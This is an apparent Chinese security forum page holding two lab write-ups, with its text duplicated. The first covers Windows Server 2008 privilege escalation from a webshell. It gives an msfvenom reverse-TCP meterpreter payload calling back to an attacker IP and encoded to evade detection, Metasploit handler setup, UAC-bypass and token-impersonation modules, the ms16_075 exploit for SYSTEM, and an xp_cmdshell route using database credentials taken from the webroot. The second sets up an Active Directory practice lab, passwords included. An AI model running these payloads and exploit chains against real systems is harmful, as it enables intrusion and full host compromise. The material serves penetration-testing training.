原因就是当前权限不在管理组内,如果我们是在渗透Win10的话,bypassuac后便可以直接getsystem提权了,如果是用CS和metasploit联动的话,直接可以用CS来bypassuac,再派生到MSF上,这样比较快捷
 
8、查看安装了哪些补丁meterpreter > shell
C:\inetpub\wwwroot>systeminfo
(C:\inetpub\wwwroot>wmic qfe list) //这条命令也可以
将补丁号复制下来,粘贴到提权辅助页面上并查询(类似工具有很多)
https://bugs.hacking8.com/tiquan/




 
9、选择一个并利用



meterpreter > background
msf5 exploit(multi/handler) > search ms16-075
msf5 exploit(multi/handler) > use exploit/windows/local/ms16_075_reflection_juicy
msf5 exploit(windows/local/ms16_075_reflection_juicy) > set session 2
msf5 exploit(windows/local/ms16_075_reflection_juicy) > exploit



 
可以看到,已经成功取得了System权限
 
第二种方法
我在服务器的WEB根目录下找到了数据库的用户名和密码




 
拿出我的Navicat Premium





连接上后,开启xp_cmdshell,执行whoami,发现默认是system权限,这也是一种提权的思路
 

  查看全部
靶机环境
Windows Server R2 2008 (默认带200个补丁)
SQLserver2008数据库
一个菜刀webshell
 
提权过程
1、使用msf生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.72 lport=8080 -e x84/shikata_ga_nai -i 5 -f raw > wuyou.c

 2、在菜刀中上传shellcode.exe和wuyou.c
通过进程注入的方法来使远程主机上线,可以绕waf并使进程更隐蔽
https://github.com/clinicallyinane/shellcode_launcher/
 
3、配置metasploit,开始监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.29
set lport 8080
exploit

1.png

 
4、通过shellcode.exe运行wuyou.c
2.png

上线后查看权限
3.png

 
5、先尝试一句命令提权
getsystem
11.png


6、发现失败了,因为有UAC保护


用户帐户控制(User Account Control,简写作UAC)是微软公司在Windows Vista其及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。


12.jpg

 
7、接下来看看我们可不可以通过假冒令牌来bypassuac
use incognito
list_tokens -u //列出令牌
impersonate_token [令牌号] //假冒令牌
13.png

结果也没有可用令牌,让我们来看看为什么吧
use exploit/windows/local/bypassuac  //32位和64位系统都可以用
(exploit/windows/local/bypassuac_injection) //进程注入,比较隐蔽
(exploit/windows/local/bypassuac_vbs)
(use exploit/windows/local/bypassuac_fodhelper)
(use exploit/windows/local/bypassuac_comhijack)
//还有一个模块我没有列出来,因为这个必须要用户点击一下弹窗的确定才能bypassuac

14.png

原因就是当前权限不在管理组内,如果我们是在渗透Win10的话,bypassuac后便可以直接getsystem提权了,如果是用CS和metasploit联动的话,直接可以用CS来bypassuac,再派生到MSF上,这样比较快捷
 
8、查看安装了哪些补丁
meterpreter > shell
C:\inetpub\wwwroot>systeminfo
(C:\inetpub\wwwroot>wmic qfe list) //这条命令也可以

将补丁号复制下来,粘贴到提权辅助页面上并查询(类似工具有很多)
https://bugs.hacking8.com/tiquan/
4.png

 
9、选择一个并利用
5.png
meterpreter > background
msf5 exploit(multi/handler) > search ms16-075
msf5 exploit(multi/handler) > use exploit/windows/local/ms16_075_reflection_juicy
msf5 exploit(windows/local/ms16_075_reflection_juicy) > set session 2
msf5 exploit(windows/local/ms16_075_reflection_juicy) > exploit
7.png

 
可以看到,已经成功取得了System权限
 
第二种方法
我在服务器的WEB根目录下找到了数据库的用户名和密码
9.png

 
拿出我的Navicat Premium
8.png


连接上后,开启xp_cmdshell,执行whoami,发现默认是system权限,这也是一种提权的思路
 

 

搭建一个最简单的域环境

flaray 发表了文章 • 0 个评论 • 77 次浏览 • 2019-07-16 17:18 • 来自相关话题

0x00 实验准备:
windows server 2008 r2 access注入环境
microsoft windows7 64位 旗舰版

0x01 搭建过程:
(1)配置静态IP
以服务器上的access注入环境开始搭建,将其作为域控制器。
    ip配置:
        192.168.10.169
        255.255.255.0
        192.168.10.250
    DNS:
        127.0.0.1
        114.114.114.114
要设置一个DNS指向本机,因为它后面是一个域控的角色。
 
域名设置:smile.online
 
目录服务还原模式的administrator密码:secevery0.0
(2)安装活动目录角色




点击"添加角色":




这里必须有两个条件:
    *Administrator强密码
    *配置静态IP
点击下一步:




勾选"Active Diretory域服务",然后下一步:




这里表明,后续会有安装DNS服务的过程,所以网上要先安装DNS的文章会导致域搭建失败,因为安装向导会创建一些DNS记录,以及查找域。
单击“下一步”:




安装就完了




(3)安装向导
打开"服务器管理器",找到Active Directory安装向导:




点击"dcpromo.exe"进入向导:




高级设置里可以配置更多细节,但如果快速搭建直接下一步:




这里“Windows NT 4.0兼容的加密算法”,指的是低版本的SMBv1客户端,在进行NTLM网络认证的过程中采用的算法较为简单,能够轻易破解;其次,未升级到SMB v2的服务器可能会受到Pass The Hash的技术手段利用、MS17-010等漏洞的危害,为了后续的学习,我们直接选择下一步,暂时不去做加固。




目前我们只有一个域,所以直接选择第二项:“在新林中新建域”,在有域的情况下,可以将域纳入“林”中。多个域称之为“林”。




设置域名:




这个名称必须符合DNS对域名的名称标准规范,我们设置为smile.online:
点击下一步会检查是否域名冲突。




选择林功能级别:




为了保持向下兼容,我们选择Windows 2003的林功能级别,如果选择2008的,未来加入的域控制器必须是Windows 2008。
点击下一步,选择域功能级别,为了兼容性,我们也选择2003:




单击下一步,此时进入DNS服务器的安装过程:




由于在"smile.online"中没有委托关系,所以我们自建:




单击"是",进入选择数据库、日志、SYSQL的存放路径,这三个东西在红队目录中有相应的攻击手段和防御方法。




默认选择“下一步”,设置DC管理员(Administrator)密码:




单击“下一步”,可以看到刚才的设置:




这里你也可以导出设置,用于下次安装的时候自动配置。单击“下一步”就可以安装了。




勾选"重新启动"。之后就安装完成。默认使用域内账户Administrator登录(这里这个系统的原账户密码会被覆盖掉)。
登录后会弹出"初始化配置任务"窗口,这里有关本机的信息:




出现域,就代表搭建完成了。




0x02:加入域
打开一个Windows,=16pt首先保持能与域控进行通信




然后将当前主机的DNS服务器设置为域控主机的IP,IP设置为自动获取。




紧接着找到系统属性:




然后就是一直下一步,直到




到这个界面以后,切到域控环境,创建用户。
创建用户之前,要先修改windows server 2008的密码策略:
(1)修改用户密码复杂性








打开命令行界面,运行 gpupdate /force。




(2)由于管理员设置的策略,该磁盘处于脱机状态。[size=16]参考文章:https://www.cnblogs.com/MikeSunny/p/4863181.html

具体的解决步骤:使用DISKPART.exe命令,解除策略。
1、运行cmd
2、DISKPART.exe
3、DISKPART> san
4、DISKPART> san policy=onlineall 更改用于当前操作系统的san策略
5、DISKPART> list disk 列出所有磁盘的详细信息。
6、DISKPART> select disk 1 选择磁盘1
7、DISKPART> attributes disk clear readonly 清除磁盘的属性
8、DISKPART> online 查看online命令的用法
9、DISKPART> online disk 使所选磁盘联机[/size]








(3).磁盘初始化(windows 应该是通用的)
  右击"此电脑"---->管理----->磁盘管理然后就可以进行初始化了。




 域控主机上创建用户:
        zksmile
        Zksmile0.0




主要填写"用户名"即可:









下一步,创建完成。
 
然后对win7继续操作:




















这里授予权限的时候,设置为“Users”,不然后边很多东西操作不了。












此时客户机既能上网,也能处于域环境下。
一个最简单的域环境搭建完成。
 
0X03 总结
        域渗透属于内网渗透中一个重要的组成部分,通常情况下,某处于域中的服务器通过路由做端口映射,对外提供web服务,我们通过web脚本漏洞获得了该主机的system权限,如果甲方有进一步的内网测试需求,以证明企业所面临的巨大风险,这个时候就需要做内网的域渗透。这个时候,一个域渗透的实验环境就显得很重要了,我们可以通过这个实验环境迅速熟悉域渗透的手法。
        本文借鉴于倾旋大佬的《快速搭建域环境》做出的实际上手搭建,但使用环境和原文的不同。
 
原文链接:https://payloads.online/archivers/2019-04-13/1 查看全部
0x00 实验准备
windows server 2008 r2 access注入环境
microsoft windows7 64位 旗舰版


0x01 搭建过程
(1)配置静态IP
以服务器上的access注入环境开始搭建,将其作为域控制器。
    ip配置:
        192.168.10.169
        255.255.255.0
        192.168.10.250
    DNS:
        127.0.0.1
        114.114.114.114
要设置一个DNS指向本机,因为它后面是一个域控的角色。
 
域名设置:smile.online
 

目录服务还原模式的administrator密码:secevery0.0
(2)安装活动目录角色
1.png

点击"添加角色":
2.png

这里必须有两个条件:
    *Administrator强密码
    *配置静态IP
点击下一步:
3.png

勾选"Active Diretory域服务",然后下一步:
4.png

这里表明,后续会有安装DNS服务的过程,所以网上要先安装DNS的文章会导致域搭建失败,因为安装向导会创建一些DNS记录,以及查找域。
单击“下一步”:
5.png

安装就完了
6.png

(3)安装向导
打开"服务器管理器",找到Active Directory安装向导:
7.png

点击"dcpromo.exe"进入向导:
8.png

高级设置里可以配置更多细节,但如果快速搭建直接下一步:
9.png

这里“Windows NT 4.0兼容的加密算法”,指的是低版本的SMBv1客户端,在进行NTLM网络认证的过程中采用的算法较为简单,能够轻易破解;其次,未升级到SMB v2的服务器可能会受到Pass The Hash的技术手段利用、MS17-010等漏洞的危害,为了后续的学习,我们直接选择下一步,暂时不去做加固。
10.png

目前我们只有一个域,所以直接选择第二项:“在新林中新建域”,在有域的情况下,可以将域纳入“林”中。多个域称之为“林”。
11.png

设置域名:
12.png

这个名称必须符合DNS对域名的名称标准规范,我们设置为smile.online:
点击下一步会检查是否域名冲突。
13.png

选择林功能级别:
14.png

为了保持向下兼容,我们选择Windows 2003的林功能级别,如果选择2008的,未来加入的域控制器必须是Windows 2008。
点击下一步,选择域功能级别,为了兼容性,我们也选择2003:
15.png

单击下一步,此时进入DNS服务器的安装过程:
16.png

由于在"smile.online"中没有委托关系,所以我们自建:

17.png

单击"是",进入选择数据库、日志、SYSQL的存放路径,这三个东西在红队目录中有相应的攻击手段和防御方法。

18.png

默认选择“下一步”,设置DC管理员(Administrator)密码:

19.png

单击“下一步”,可以看到刚才的设置:

20.png

这里你也可以导出设置,用于下次安装的时候自动配置。单击“下一步”就可以安装了。

21.png

勾选"重新启动"。之后就安装完成。默认使用域内账户Administrator登录(这里这个系统的原账户密码会被覆盖掉)。
登录后会弹出"初始化配置任务"窗口,这里有关本机的信息:

22.png

出现域,就代表搭建完成了。
22.png

0x02:加入域
打开一个Windows,=16pt首先保持能与域控进行通信

23.png

然后将当前主机的DNS服务器设置为域控主机的IP,IP设置为自动获取。

24.png

紧接着找到系统属性:

25.png

然后就是一直下一步,直到

26.png

到这个界面以后,切到域控环境,创建用户。

创建用户之前,要先修改windows server 2008的密码策略:
(1)修改用户密码复杂性

1---.png

2---.png

打开命令行界面,运行 gpupdate /force。
3---.png

(2)由于管理员设置的策略,该磁盘处于脱机状态。
[size=16]参考文章:https://www.cnblogs.com/MikeSunny/p/4863181.html

具体的解决步骤:使用DISKPART.exe命令,解除策略。
1、运行cmd
2、DISKPART.exe
3、DISKPART> san
4、DISKPART> san policy=onlineall 更改用于当前操作系统的san策略
5、DISKPART> list disk 列出所有磁盘的详细信息。
6、DISKPART> select disk 1 选择磁盘1
7、DISKPART> attributes disk clear readonly 清除磁盘的属性
8、DISKPART> online 查看online命令的用法
9、DISKPART> online disk 使所选磁盘联机[/size]

1---.jpg

2---.jpg

(3).磁盘初始化(windows 应该是通用的)
  右击"此电脑"---->管理----->磁盘管理然后就可以进行初始化了。
1---.png

 域控主机上创建用户:
        zksmile
        Zksmile0.0

27.png

主要填写"用户名"即可:

28.png


29.png

下一步,创建完成。
 
然后对win7继续操作:

30.png

31.png

32.png

33.png

34.png

这里授予权限的时候,设置为“Users”,不然后边很多东西操作不了。

35.png

36.png

37.png

此时客户机既能上网,也能处于域环境下。
一个最简单的域环境搭建完成。

 
0X03 总结
        域渗透属于内网渗透中一个重要的组成部分,通常情况下,某处于域中的服务器通过路由做端口映射,对外提供web服务,我们通过web脚本漏洞获得了该主机的system权限,如果甲方有进一步的内网测试需求,以证明企业所面临的巨大风险,这个时候就需要做内网的域渗透。这个时候,一个域渗透的实验环境就显得很重要了,我们可以通过这个实验环境迅速熟悉域渗透的手法。
        本文借鉴于倾旋大佬的《快速搭建域环境》做出的实际上手搭建,但使用环境和原文的不同。
 
原文链接:https://payloads.online/archivers/2019-04-13/1